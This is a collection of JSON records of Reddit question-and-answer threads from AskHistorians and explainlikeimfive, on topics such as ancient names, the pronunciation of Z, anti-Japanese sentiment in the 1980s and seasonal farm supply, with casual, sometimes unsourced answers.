{"q_id": "10cx6s", "title": "What are some of your favorite old or ancient  names?  Are they still around and have changed so many times they are unrecognizable?   ", "selftext": "Also, what do you find to be the most off the wall?  I'm also interested in hearing about name fads..", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10cx6s/what_are_some_of_your_favorite_old_or_ancient/", "answers": {"a_id": ["c6cej2o", "c6cfjkv", "c6cgew9", "c6cgtet", "c6ch4dr", "c6ci3t4", "c6ci4lb", "c6cj8wk", "c6cjk1h", "c6cjnvj", "c6cjs6f", "c6cjusq", "c6cjuzn", "c6cjw4c", "c6ckhwz", "c6clpnj", "c6cm7gr", "c6cnc9b", "c6co0tb", "c6co1qp", "c6co6os"], "score": [28, 13, 10, 7, 7, 6, 12, 7, 8, 8, 3, 7, 11, 8, 2, 2, 3, 4, 3, 3, 3], "text": ["I'm not sure this is what you're getting at, and I'm no expert on the subject, but one naming fad I can think of was the virtue name amongst Puritans. Some of them are still around, e.g. Faith, Charity, Prudence, etc..., but there are many more that just wouldn't fly in modern times. My favorite example is Nicholas If-Jesus-Christ-Had-Not-Died-For-Thee-Thou-Hadst-Been-Damned Barebon.", "Not a historian by any stretch, but you still here the name \"Augustus\" thrown around, and thats almost 2000 years old. And originally not a name haha", "Charlemagne was called 'Karol' (k\u00e1h-rol). This name is still around in Dutch. ", "Sorry if I wasn't very clear.  I just was imagining someone studying and coming across a name and having to stop to tell a friend \"Hey, check out this person's name\". \n\nI'm also hoping to see some names you don't see anymore.   Like Beulah or Opal..", "It's not a personal name, but I love the town of Norma, Italy.  It's named for the Roman town that existed nearby (until it was destroyed during the Civil War), Norba, which in turn is a corruption of \"Nova Urba,\" \"New City.\"", "Brian is still a common name and was around 1,000 years ago. Brian Boru ruled over ireland then as a high king.", "Definitely Western Roman Emperor Magnus Maximus or literally \"Great, the Greatest\"\n_URL_0_", "I like the name Demosthenes (\u0394\u03b7\u03bc\u03bf\u03c3\u03b8\u03ad\u03bd\u03b7\u03c2) still widely used in Greece. It literally means \"Strength of the People\".\n\nAnother one still used Themistokles (\u0398\u03b5\u03bc\u03b9\u03c3\u03c4\u03bf\u03ba\u03bb\u03ae\u03c2 (\u03b8\u03ad\u03bc\u03b9\u03c2+\u03ba\u03bb\u03ad\u03bf\u03c2)) = justice + pride - a person that proudly defends justice.", "The longest continuity names I can think of are ones associated with Abrahamic religions.  Names like Abraham/Ibrahim/Avraham, Joshua, Moses, John, David, etc have been around for thousands of years.\n\nMy favorite weird one is a puritan woman's name, \"Submit\".", "I know its cliche but John (which happens to be my name). It was first spell Y\u00f4\u1e25anan in hebrew meaning Grace by Yahweh (hebrew for God) tracing back thousands of years ago. From Hebrew it was converted to Greek, from Greek into Latin, from Latin into modern European languages. The crazy thing is the spelling for the name has change dramatically over the centuries and many countries have derive their own version, but it essentially sounds the same in every language. ", "Easily my favorite two are Dorgon and Dodo, the 14th and 15th sons of Nurhaci, founder of the Qing Dynasty (Manchu) in China.  \n\nDorgon assumed the regency of China when Emperor Hong Taiji (his elder half-brother) died leaving his six year old son, Fulin, in his place.  Dorgon became the de facto ruler of China and was posthumously given the title of \"Emperor.\"  \n\nDodo was brother and trusted confidant of Dorgon.  He was a general who after being allowed into China through a deal with the opposing general Wu Sangui, Dodo entered and occupied Beijing and cemented the Manchu hold on China.  For this he was given the title, \"Great General who Pacifies Nations.\"", "My taste in names in general runs to the ancient, obscure, and/or traditional. My absolute favorite name (actually, I think I've said something to this regard on this subreddit before) is Theodora, which I plan to bestow upon a daughter someday. I also love some of the Roman girls' names like Octavia, Aurelia, Augusta, and so on. Greek mythology names are also awesome - all the Muses (how cool is Terpischore, once you work out how to pronounce it?) are excellent. Beyond that - I actually really love the colonial American names I see on my family tree. There's an Ebenezer, which I think is really badass - seems like a kid named Ebenezer would just not give a fuck. (Possibly out of necessity.) Lots of cool names out there, for real! \n\nIn all seriousness, I am well aware I have strange taste in names. But anything is better than Jayden. Or Nevaeh.", "The Egyptian name pa-ph-nuti means 'man who belongs to God'. This became the Greek Paphnutius (\u03a0\u03b1\u03c6\u03bd\u03bf\u03cd\u03c4\u03b9\u03bf\u03c2), and the Coptic Papnoute. By way of the Greek, the name entered Russian as Pafnuty.\n\nRelated to this: The Russian name Fyodor has the same origin as Theodore. The \u03b8 came to be pronounced as f in Russian.", "Zebulon Pike led the expedition that discovered, you guessed it, Pike's Peak. An estimated [384](_URL_1_) Americans are named Zebulon today.\n\nYou can see the top 20 baby names in the U.S. by year all the way back to 1879 [here](_URL_0_).\n", "Adam seems like it must be a pretty old given name. ", "Some of my favorite ancient Roman names are the consuls Q. Fufius Calenus (cos. 47 BC) and M. Licinius Crassus Frugi (cos. 27 AD). Because they are silly.\n\nThe family of the Fufii were notable in the aristocracy for at least a century, and one was an opponent of Tiberius. 'Frugi' is actually a nickname (*cognomen*) and means 'temperate' or thereabouts.", "Bartholemew is \"Son of Ptolemy\" (Bar-tholemew).\n\nSo Bart Simpson is vaguely named after Ptolemy.", "In terms of oldest name in continuous use 'Esther/Ishtar' has to be up there (assuming the Ishtar etymology for Esther is the correct one.) The Goddess Ishtar features in the 18th C. BCE 'Epic of Gilgamesh' which makes the name at least 3800 years old. ", "I like Gaulish names because they sound like names of dragons. Vercingetorix, Britomarus, Dumnorix, Segovax.", "The oldest name I know that is still in use is Susan, it ultimately derives from Middle Egyptian s\u0161n (pronounced *seshen* by Egyptologists) meaning \"lotus flower\".  This makes it at least 4000 years old.", "Let me give you some Hungarian names from back the pre-Christian Pagan period (before 1000AD) , but still used (some are common, others are mostly used by parents who feel especially patriotistic):\n\n**Girls**\n\nGy\u00f6ngy, Gy\u00f6ngyi: pearl, still quite common\n\nEmese - meaning little mother, milk-giver (also: sow), fairly common\n\nJol\u00e1n, J\u00f3le\u00e1n - good girl, a bit less common\n\nPiroska - little red one, common\n\nSarolta - ermine, white weasel, stoat, uncommon\n\n\n**Boys**\n\nAjtony - gold, uncommon\n\nAlp\u00e1r - hero, but today came to mean rude person, so not used anymore\n\nArszl\u00e1n - lion, uncommon (sounds too Turkish)\n\nAttila or Etele - water or river, also the famous Hun conqueror, very common\n\nB\u00e9la: heart or aristocrat, common\n\nBulcs\u00fa - blood-letter (i.e. warrior) or blood-mixer (someone who makes an alliance), uncommon\n\nBotond: warrior fighting with a mace, uncommon\n\nCsaba: shepherd, wanderer, common\n\nEl\u0151d: the first, first-born, ancestor, fairly uncommon\n\nFarkas: wolf, uncommon"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Magnus_Maximus"], [], [], [], [], [], [], ["http://www.ssa.gov/oact/babynames/#ht=1", "http://www.wolframalpha.com/input/?i=people+named+zebulon+in+the+us"], [], [], [], [], [], [], []]}
{"q_id": "1vg2pi", "title": "why are my checking account number and bank routing number easily available on the checks i give out when i'm told never to give out my banking information?", "selftext": "I've always wondered how people haven't gotten access to my account or stolen my identity or whatever when I readily give out my checks for birthday presents, etc. How do criminals not just take the account number and routing number?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1vg2pi/eli5_why_are_my_checking_account_number_and_bank/", "answers": {"a_id": ["cerw7qs"], "score": [3], "text": ["First off the routing number isn't important. It's generic and really just directions to the bank.\n\nIt's the same as giving your credit card to a company. There exists an understanding between you and the company. If they do something sneaky with your card/check, you won't shop there and you will tell others not to shop there and most importantly, it's illegal. \n\nThey would rather take you money legally and stay in business."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2r0tl2", "title": "Just read Crichton's 'Rising Sun.' Was its anti-Japanese, 'economic yellow peril' message reflective of public sentiment in the 80s and 90s and was there merit in his argument?", "selftext": "_URL_0_\n\n\nSorry if this is worded confusingly.\nFrom this novel, it basically seems like Japan was 'taking over' the U.S. (at least the West coast) through their corporations' policies. If people were worried over this 20 years ago, has it happened already? And was the mainstream U.S. worried about this?\n\n\nI think there are interesting parallels with the 'yellow peril' scare that people are having over China's increased strength nowadays.\nI'm under 30 so I wasn't alive during this period.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2r0tl2/just_read_crichtons_rising_sun_was_its/", "answers": {"a_id": ["cnbeue8", "cnbg4pf", "cnbstfw", "cnbwjbl"], "score": [57, 23, 5, 4], "text": ["Yes, fears of Japan economically \"taking over\" the U.S. At the time Crichton wrote *Rising Sun* were pretty common, and had a strong racist component. Anti-Japanese sentiment was overall moe common back then, with anyone Japanese being at risk of getting offensive things said to them on December 7th annually. There are some echoes of this in the way China is regarded today, but much worse anti-Japanese feeling. Rent the movie *Who Killed Vincent Chin?* Chin was a Chinese-American guy in the Detroit area who was killed by 2 out-of-work auto workers who blamed Japan for making them unemployed. (They thought Chin was Japanese). The punishment they received for beating him to death outside a bar, was laughable. At that time, it was popular to have charitable events in which people donate money and in return get to whack a Japanese car with a baseball bat, until the car was destroyed. There was much handwringing about Sony buying a U.S. Movie studio, and Japanese companies buying famous American landmarks like Rockefeller Center. Crichton's book was seeped in those attitudes about the Japanese being too powerful, about them stealing white women, and about cheap knockoff Japanese culture.", "No, the \"economic yellow peril\" did not come about, for two (probably interrelated?) reasons:\n\n1. The Japanese economy had a huge downturn in the 1990s, called the \"Lost Decade\" that prevented further investment in the US, and, \n\n2. Simultaneously, the US economy sprang back from recession during the Clinton Administration. The fact that the tech boom and rise of Silicon Valley came out of that economic upswing was probably the last nail in the coffin, since one of the major narratives of the \"economic yellow peril\" was that Japan was so much more technologically advanced than the US. The onset of the SUV trend in the US auto industry probably didn't hurt, either.\n\nIt's interesting to note that racist fears like the whole \"Turning Japanese\" phenomenon get really keyed up when the American economy isn't doing well.\n\nIt also probably should be noted that Michael Chrichton has a lot of known right-wing biases as a writer, so, yeah, I'd read something like \"Rising Sun\" with a gigantic bushel of salt even absent knowledge of the racial climate it was written in. \n\n(Edited to fix a typo.)", "Yes, that was a popular sentiment in the 80's. As has been mentioned, Japanese products were dominating electronics, and their corporations were making significant investment in US corporations. There were some who even put forward a case for a war with Japan.  [The Coming War With Japan](_URL_0_) is an example. I'm citing this book as an example of the times, nothing else.\n\nIt's probably good to keep in mind that the USSR was falling apart, and those who need to see an enemy had a very convenient one in Japan at the time. In many ways the attitude was an extension of Cold War thinking. And yeah, it was pretty racist. \n\n\nEdit: speling", "Japan was a focus of protectionist sentiment for much of that time, and Asian countries have been blamed for American job losses on and off since at least the 1880's.\n\nOne good measure of that is the campaign promises of whatever Democratic presidential candidate was running at the time; Carter focused on Singapore, but I believe Mondale went for Japan (edit:  [he did indeed](_URL_1_)), and Clinton did in the early 90's.  The usual formula was a campaign promise to get tough on trade, focusing on automobiles or other manufacturing industries where Democrats had a large base of support, followed occasionally by \"anti-dumping\" duties if they got elected.  \n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Rising_Sun_(novel)"], "answers_urls": [[], [], ["http://www.amazon.com/gp/product/0312076770/ref=x_gr_w_bb_t1_x?ie=UTF8&amp;tag=x_gr_w_bb_t1_x-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0312076770&amp;SubscriptionId=1MGPYB6YW3HWK55XCGG2"], ["http://www.csmonitor.com/1993/0128/28011.html", "http://www.thecrimson.com/article/1983/2/24/auto-immunity-pbebvidently-tired-of-being-characterized/"]]}
{"q_id": "339r0m", "title": "Does the Bible ever mention of people of European antiquity (Other than the Romans) such as the Gauls, Britons, and Germanic's?", "selftext": "I've always wondered this. I thought maybe an expert could shed some light on the subject.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/339r0m/does_the_bible_ever_mention_of_people_of_european/", "answers": {"a_id": ["cqiuno2"], "score": [3], "text": ["hi.. while you may get answers here, but it might be worth x-posting to /r/AcademicBiblical "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "jcbww", "title": "just a friendly reminder from your mod staff", "selftext": "I just wanted to remind everyone that the rule \"No blatant speculation\" applies to posts as well as answers. We can't have a good discussion if the very question it is about is an inaccurate assumption. \n\nI noticed several posts in the last few days along the lines of \"Why are all Europeans so nice\" (made up for scientific explanation purposes) or something similar. This is a bad post, because it assumes that all Europeans are, in fact, nice, which we can't know for sure because there are so many Europeans and because \"nice\" is a subjective judgement. We all start on this question from an unsure baseline and we're not not all answering the same question (some people are answering the original question, others are attempting to debunk the O.P.'s false assumption.\n\nThanks for your time. This isn't a huge problem, but it will be good to keep it in check.\n\n**TL;DR: The sidebar rule about speculation applies to posts and questions as well as comments and answers.**", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jcbww/just_a_friendly_reminder_from_your_mod_staff/", "answers": {"a_id": ["c2ayabm", "c2ayoi8", "c2azjqt", "c2azkgr", "c2aztw6", "c2b067m", "c2b0z5q", "c2ayabm", "c2ayoi8", "c2azjqt", "c2azkgr", "c2aztw6", "c2b067m", "c2b0z5q"], "score": [12, 37, 4, 9, 3, 2, 3, 12, 37, 4, 9, 3, 2, 3], "text": ["Can we also specify things like \"How would life have evolved differently if the oceans were full of 100% ethanol rather than saltwater?\" as stupidly speculative questions?\n\nIt's interesting to see the responses to something like \"What will the Earth experience when the sun dies?\" since this can actually be theorized on reasonably, with evidence and supporting information for theories.\n\nBut some questions have asked things that are so... *out there* that any answer given will be 99% speculation, and essentially meaningless.", "What if the question was phrased in a more detailed manner such as: \"why does the stereotype exist that Europeans are friendly people?\" Because then you could cite evidence of when the stereotype first started occurring (a la Know Your Meme), or at the very least cite solid anecdotal evidence of yourself or others. Just a thought.", "I can imagine a five year old asking such a question though.  The answer would be \"not all europeans are nice. Like most people, many europeans are nice and some are not.\"", "If you want to speculate, there's a (sparsely populated but fun) subreddit for that: _URL_0_ hooray!", "For questions like that try Yahoo! Answers.", "Why are the mods so nice?", " > Why are all Europeans so nice\n\nThis is ridiculous. I'm appalled that this person obviously doesn't know the French are Europeans. \n\nI kid. I kid. \n", "Can we also specify things like \"How would life have evolved differently if the oceans were full of 100% ethanol rather than saltwater?\" as stupidly speculative questions?\n\nIt's interesting to see the responses to something like \"What will the Earth experience when the sun dies?\" since this can actually be theorized on reasonably, with evidence and supporting information for theories.\n\nBut some questions have asked things that are so... *out there* that any answer given will be 99% speculation, and essentially meaningless.", "What if the question was phrased in a more detailed manner such as: \"why does the stereotype exist that Europeans are friendly people?\" Because then you could cite evidence of when the stereotype first started occurring (a la Know Your Meme), or at the very least cite solid anecdotal evidence of yourself or others. Just a thought.", "I can imagine a five year old asking such a question though.  The answer would be \"not all europeans are nice. Like most people, many europeans are nice and some are not.\"", "If you want to speculate, there's a (sparsely populated but fun) subreddit for that: _URL_0_ hooray!", "For questions like that try Yahoo! Answers.", "Why are the mods so nice?", " > Why are all Europeans so nice\n\nThis is ridiculous. I'm appalled that this person obviously doesn't know the French are Europeans. \n\nI kid. I kid. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.reddit.com/r/uninformedspeculation/"], [], [], [], [], [], [], ["http://www.reddit.com/r/uninformedspeculation/"], [], [], []]}
{"q_id": "9l4xwc", "title": "why do many 911 call recordings sound muffled and grainy when almost all other wireless communications sound clear?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9l4xwc/eli5why_do_many_911_call_recordings_sound_muffled/", "answers": {"a_id": ["e7427tp", "e744vc2", "e746xzb", "e749ioz", "e74c1ry", "e74c3ai"], "score": [22, 12, 7, 4, 2, 2], "text": ["A lot of it is because they're putting several calls down the 911 line at once and have to use compression and multiplexing.\n\nThere's a certain amount of bandwidth one can put down a wire at any given time. In order to put multiple calls on it at once, they filter out unneeded frequencies and change modulation and pitch and what not, and then will convert them back so they can be heard. That causes massive quality loss.", "Many states redirect 911 funds to other endeavours. Usually that 911 fee that's on your phone bill doesn't go to the 911 services. ", "To add to all the other perfectly legitimate answers- sometime an audio engineer will add just a bit of hiss/pop/grain to a recording if it's *too* clear, because it's audio shorthand for \"you are listening to a recording\".   ", "All calls over POTS do. It's a factor of the bandwidth used by the call, and the telephone system is set up for the 300-3000 Hz band to come through clear, so that's what the tapes are set up for.", "They don't at least not in person. The first time I called 911 it was literally crystal clear. I couldn't believe how good i could hear the operator. ", "OP, you don't have Sprint, do you?  I'm lucky if my calls are half as clear as most 911 transcripts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2qfyl2", "title": "Why is Arthur Wellesley, the 1st Duke of Wellington, commonly referred to as \"Wellington\" as if it was his (sur)name?", "selftext": "Seems illogical doesn't it?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2qfyl2/why_is_arthur_wellesley_the_1st_duke_of/", "answers": {"a_id": ["cn5qn2f"], "score": [23], "text": ["That's just naming convention, both at the time and in historiography. Robert Stewart is known as Lord Castlereagh, Lord Liverpool's actual name is Robert Jenkinson, Wellington's elder brother is called 'Mornington' a great deal.\n\nThe reason for this is pretty simple; there can be quite a lot of Stewarts, Cannings, Wllesleys and Jenkinsons, but having multiple peers titled to the same location is quite rare, so it's far simpler to refer to someone as 'Wellington' rather than 'Wellesley', as you could be referring to Henry, Arthur or Richard, all three of which were involved in British politics. \n\nHope this answers your question!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5eoc23", "title": "why is the belief that sitting on cold ground causes uti prevelent in former eastern bloc coutries, but not in the u.s or western europe?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5eoc23/eli5_why_is_the_belief_that_sitting_on_cold/", "answers": {"a_id": ["dae0tnh", "dae1gfo", "daehkvh"], "score": [16, 22, 2], "text": ["Superstition arises to answer questions when science is absent. Sounds like a lack of information/education on the topic. Easily remedied thanks to Internet. ", "Just gonna point out that in the UK it's sometimes suggested sitting on  cold and/or hard surfaces like concrete can cause hemarroids/ piles. Again though this is an old wives tale", "People do not sit on the cold ground often in the US or Western Europe and when they do they are not likely to be doing so without clothing on. There is no way for someone to be contaminated by doing so and getting a UTI unless they are sitting in dirty water. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7be9qr", "title": "Why do Americans pronounce the letter Z as 'Zee' whilst the rest of the English speaking world pronounces it 'Zed' ?", "selftext": "When did these differences come about as well?\n\n[Edit] before you think about putting something to the extent of \"Zed's dead\" from Pulp Fiction, know that literally dozens have already done the same thing", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7be9qr/why_do_americans_pronounce_the_letter_z_as_zee/", "answers": {"a_id": ["dphi58v", "dphj9f6", "dphkzt8", "dphnzw4", "dpialb1"], "score": [109, 3225, 342, 139, 13], "text": ["Hey all,\n\nIf you frequent the sub, you know the drill. If you're here from /r/all, or browse only occasionally, please be aware we have strict rules here intended to enforce the very high bar we expect from comments, so before posting, please read our [rules](/r/AskHistorians/wiki/rules), from A to Z^ed. We remove comments which don't comply, and consider everyone forewarned. If you have feedback or commentary about how things are run here, please don't post it in this thread. We'll just remove it. We love to hear *thoughtful* and *constructive* feedback via [modmail](_URL_5_) however.\n\nIt can take time for [an answer to show up](/r/AskHistorians/comments/6a5duv/a_statistical_analysis_of_10000_raskhistorians/), so we thank you for your patience. We know you're here because the question sounds interesting, and we eagerly await an answer just like you! While you wait though, there is tons of great content already written, which you can find through our [Twitter](_URL_4_), the [Sunday Digest](_URL_3_), the [Monthly \"Best Of\"](_URL_2_) feature, and [Facebook](_URL_6_). If you don't want to forget to check back late, consider a [Private Message](_URL_1_!) to the [Remind-Me bot](_URL_0_), or the 'RES' Subscribe feature.\n\nAgain though, please remember the rules, and keep them in mind while you browse or write. If you don't like how this subreddit is run, keep in mind that this method has seen us continue to succeed and grow for years, and isn't going to change, so at least try and make your complaint original. /r/AskHistory exists, so whining about the rules to us is like going into a fancy restaurant to throw a tantrum because they don't sell chicken nuggets, even though Chick-fil-A is nextdoor.", "'Zed' was the original form in English, coming from the Greek letter 'zeta.' Starting in the seventeenth century, 'zee' became an acceptable alternative in England by analogy with other letters (bee, cee, dee...), and both were brought over to the Americas. Noah Webster, when compiling his famous dictionary which was the source of many divergences in American/British English, states flatly in 1828 that the correct pronunciation is 'zee,' although the Oxford English Dictionary quotes a source from 1882 that claims the American South still uses 'zed.'\n\nThere's really not a whole lot more to it than basic linguistic changes.\n\nSource: *The Cambridge History of the English Language*. ed. John Algeo. Cambridge UP, 2001. See the chapter on 'Americanisms,' pp. 184-218. ", "In a paper presented to the American Philosophical Society, Henry Phillips noted that Webster's choice of Zee in his dictionaries was \"perhaps... some petty local peculiarity in the small country towns of New England (which) led him to believe that no other pronunciation could be a correct one.\"  He also quoted another author, \"This in New England is always zee; in the South, it is zed, while Pennsylvania seems to halt between the two opinions.\"  In a survey of dictionaries, he notes several published in the U.S. which used *zed*.  So, thinking of *zee* as American and *zed* as British creates confusion.  The answer to your question seems to involve answering: Why did *zee* come to replace *zed* in the U.S.?  Why was *zee* common in New England as opposed to *zed*, *izzard*, *zod*, etc.?\n\nPhillips suggests why there might be a preference for *zee* over  *zed*, *izzard*, *zod*, etc.  He notes \"zee is clearly a schoolmaster's desire to get rid of the strange sounding zed, and to make z follow the analogy of (some) other letter.\"  Analogical change is very common in languages.  So, given that we say *bee*, *cee*, and *dee*, *zee* could have been an error, a preference, or a preferred error because it sounds like what you call a letter.  That's a good enough theory. \n\n* *A Note Respecting the Correct Name of the Last Letter of the English Alphabet Author(s)*: Henry Phillips, Jr.\nSource: Proceedings of the American Philosophical Society, Vol. 21, No. 114 (Mar., 1883), pp. 330-333", "This question perplexed me enough to do some digging on a rainy, grey day...\n\nIt appears that the letter \"z\" had numerous pronunciations in the British Isles and (what is now) the United States. Shakespeare pronounces it \"zed\" in [King Lear](_URL_0_). \"Zed\" is derived from the \"zeta\" in Greek. Another variation was \"izzard\" likely derived from \"\u00e9zed\" which was the French version of \"zeta\". Numerous other variants exist as well.\n\nSo what about \"zee\"? Was this a strictly American variant? Apparently not, as the first recorded pronunciation of Z as \"zee\" is found in *Lye's New Spelling Book* (1677). The author, [Thomas Lye](_URL_1_), lived his entire life in Great Britain. \n\nThe *Concise Oxford Companion to the English Language* mentions \"zee\" as a pronunciation as so: \u201cThe modification of BrE zed (from Old french zede, through latin, from greek zeta) to zee in AmE appears to have been by analogy with bee, dee, vee, etc.\" Of course, this only addresses how \"zee\" came about and NOT why it became dominant in the United States.\n\nSo, it seems that zee vs. zed was not initially \"one in America and the other in Britain\". However, \"zee\" eventually became dominant in the U.S. Here's where there seems to be little agreement as to why.\n\nOne theory is that is was part of a general desire of Americans to separate themselves from the British in the years after the Revolutionary War (see \"Zed\" in *The Queen's English: An A to Zed Guide To Distinctively British Words* by Christoper J. Moore). Another is that the influence of immigrants from different parts of the world encouraged the drift. However, I cannot find anything suggesting any of these suggestions to be more than guesses and would put little faith in either of them.\n\nWhat *is* known is that the matter of correct pronunciation was fairly-well laid to rest by decree in that most famous of American dictionaries: that of Noah Webster. In his 1828 edition, he enshrined \"zee\" as the correct American pronunciation in the following entry:\n\n >  Z, the last letter of the English Alphabet, is a sibilant articulation, and is merely a vocal S. It bears the same relation to s, as v does to f. With us it has not a compound sound, nor is it a double consonant, as in the Italian and German. It is as simple in its sound as S.\n\n > As a numeral, z stands for 2000, and with a dash over it, z for 2, 000, 000. It is pronounced zee.\n\n\n", "I see answers claiming that 'zed' comes from 'zeta', but how does this reconcile with zeta being pronounced 'zeeta' in actual Greek?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/RemindMeBot/comments/24duzp/remindmebot_info/", "https://www.reddit.com/message/compose/?to=RemindMeBot&amp;subject=Reminder&amp;message=%5BLINK%20INSIDE%20SQUARE%20BRACKETS%20else%20default%20to%20FAQs%5D%0A%0ANOTE:%20Don%27t%20forget%20to%20add%20the%20time%20options%20after%20the%20command.%0A%0ARemindMe", "https://www.reddit.com/r/AskHistorians/wiki/bestof", "http://www.reddit.com/r/AskHistorians/search?q=title%3A%22Sunday+Digest%22&amp;restrict_sr=on&amp;sort=new&amp;t=all", "http://twitter.com/askhistorians", "http://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians&amp;subject=Question%20Regarding%20Rules", "https://www.facebook.com/askhistorians/"], [], [], ["http://www.shakespeareswords.com/Plays.aspx?Ac=2&amp;SC=2&amp;IdPlay=11#152852", "http://www.oxforddnb.com.libproxy.lib.unc.edu/view/article/17241"], []]}
{"q_id": "srlxh", "title": "Were there non-altrusistic motives behind the 1999 NATO bombing of Kosovo?", "selftext": "The general assumption is that nations make the decisions that will most advance their interests, providing bogus justifications when required. The Kosovo/Serbia bombing was basically presented as a humanitarian campaign to protect the Kosovo Albanians.\n\nI don't see any obvious alternative, less altruistic motives behind this.\nWere there any?\n\nOff the top of my head here's what I could think of: To put pressure Milosevic who was not being as helpful as desired; To avoid making NATO looking impotent and incapable of stopping a potential genocide in Europe itself.\n\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/srlxh/were_there_nonaltrusistic_motives_behind_the_1999/", "answers": {"a_id": ["c4gerfc"], "score": [2], "text": [" > I don't see any obvious alternative, less altruistic motives behind this. Were there any?\n\nNo.  When you get down to it, what value did a technological backwater with little unique or valuable resources have to the rest of Europe?  There is nothing in Kosovo you can't mine or produce anywhere else, and with a more up to date infrastructure.  Kosovo in the large economic sense brought nothing to the table.  This is confirmed in the fact that Kosovo has a massive trade deficit, an unemployment of like 40%, several years of negative GDP growth.\n\nHere is the reason for the NATO involvement in the former Yugoslavia.  Nazi's.  Just a few decades before, Nazi's decided that an ethnically pure nation was just what they wanted and so they killed 6 million Jews alone, like 9 or 10 million total if you include Roma, Homosexuals, Communists, etc.  Europe developed a really bad taste in their mouth for genocide and still has quite a bit of guilt over it's inaction before WWII over the issue (not allowing Jews to enter their country fleeing the Nazi's).\n\nEuropeans have a much higher commitment to enforcing UN mandates and contributing forces to UN Peacekeeping missions than Americans.  NATO doesn't want ethnic cleansing and massive wars in it's neighborhood while doing nothing about it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "30oz1q", "title": "how do farm industries prepare for and supply production for spikes in demand, such as the increased demand in eggs for easter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30oz1q/eli5_how_do_farm_industries_prepare_for_and/", "answers": {"a_id": ["cpufe1z", "cpufqr5", "cpufvjv", "cpuhgu1", "cpujbze", "cpujelf", "cpujnrj", "cpuoz75", "cpuwa3q", "cpvass3"], "score": [6, 23, 58, 7, 4, 2, 8, 2, 2, 2], "text": ["I think its all global. And the eggs used to dye are not a huge amount compared to the actual amount that are used for like factories that make stuff. And things like grains they store in huge silos and ship to other countries. But the farmers try to hold the crop or sell them early to make more money. And they try to plant what they think will make more cash. Theres alot of gambling and science and thinking that goes into farming tho.", "Eggs - they'll sell more as fresh whole eggs, rather than to industries that will take then processed (bakeries, McD's)\n\n", "Chicken is going to be On Sale the week after Easter.", "I think the demand for eggs on Easter is a little less dramatic than you're imagining. ", "I know in Japan kfc Christmas dinner is so big you have to pre-order months in advanced so they can know how many chickens to hatch to process at time it for that singular day.", "Its a lot easier for the poultry industry than others (like swine or beef) because it's easier to manipulate the birds. Poultry producers are able to refrigerate eggs for an extended period of time \n( a couple of months) as long as they haven't been processed at all with very little risk of contamination by any bugs. This is because fresh eggs have a natural antimicrobial barrier on the eggshell that prevents contamination- if you wash them or process them, they lose the barrier and have to be used quickly. So because producers can 'hoard' eggs and they take up so little space, they can manage to fill increases in demand for them over the short run. This also means they can choose when to put said eggs into the incubator and have them in X number of weeks for production- meeting the demand for poultry as well.", "I'm not sure specifically about eggs, but I'll give you a general example ELI5 style;\n\nSo there's this thing called the Futures Market.  It's like going to the grocery store, except you don't buy any of your groceries right then.  You buy them for sometime in the future.  It's kinda like getting a reservation...for goods.\n\nSo, say you *knew* you wanted a bunch of eggs for Easter cuz you were gonna have a huge Easter egg hunt.  Well, since you can't go to the grocery story and reserve a bunch of eggs...you'd buy a bunch of 'Egg Futures' back in November, cuz 6 months from then you'd be guaranteed those eggs in April.\n\nFarm industries pay attention to how many 'futures' are bought/sold, so they can forecast when there will be spikes in sales.  So, you and all your friends bought a ton of 'Egg Futures' in November?  Farm industries see this, and say \"Hey! we have a bunch of futures sold in April, we better make sure we have a lot of eggs then!\"\n\n(This, of course, is a simplified version of the Futures Market, and doesn't take into account selling/trading/hedging futures.  I can try to ELI5 that as well, if you're interested.)\n\n(Second addendum:  I was an Econ minor in undergrad and did some Futures work, so if there's a bonafide economist who reads my ELI5 and cringes, please feel free to lemme know what I got wrong)", "In your example, eggs are too low a profit margin item to bother raising new layer hens in time for any spike in demand for Easter. There's already plenty of egg production, that for the week or two around Easter, if it's necessary, some of the supply can be redirected towards retail instead of other channels. \n\nMy gut feeling is that chicken eggs aren't as popular for Easter as they once were. The world seems to be moving towards a preference for cheap plastic eggs. \n\nFor other things such as Thanksgiving turkey or Easter ham, farmers just backward calculate from the slaughter date, to figure out when they need to start raising the pigs or turkeys. ", "Commodity trading alleviates this to some degree on the financial side so farmers aren't riding a casino. ", "I work in the poultry industry as a turkey farmer. This is an incredibly seasonal section, turkeys are in very high demand for christmas (and export to usa for their thanksgiving too). Predictions are made based on last years sales and the sales so far this year compared to the same time last year (to account for growth). Supermarkets give projections well in advance so we have an idea of who we are selling to and how many. We also put many extra birds in the field coming up to christmas and if things are looking tight we process them, if not we keep them in field for a bit longer and use 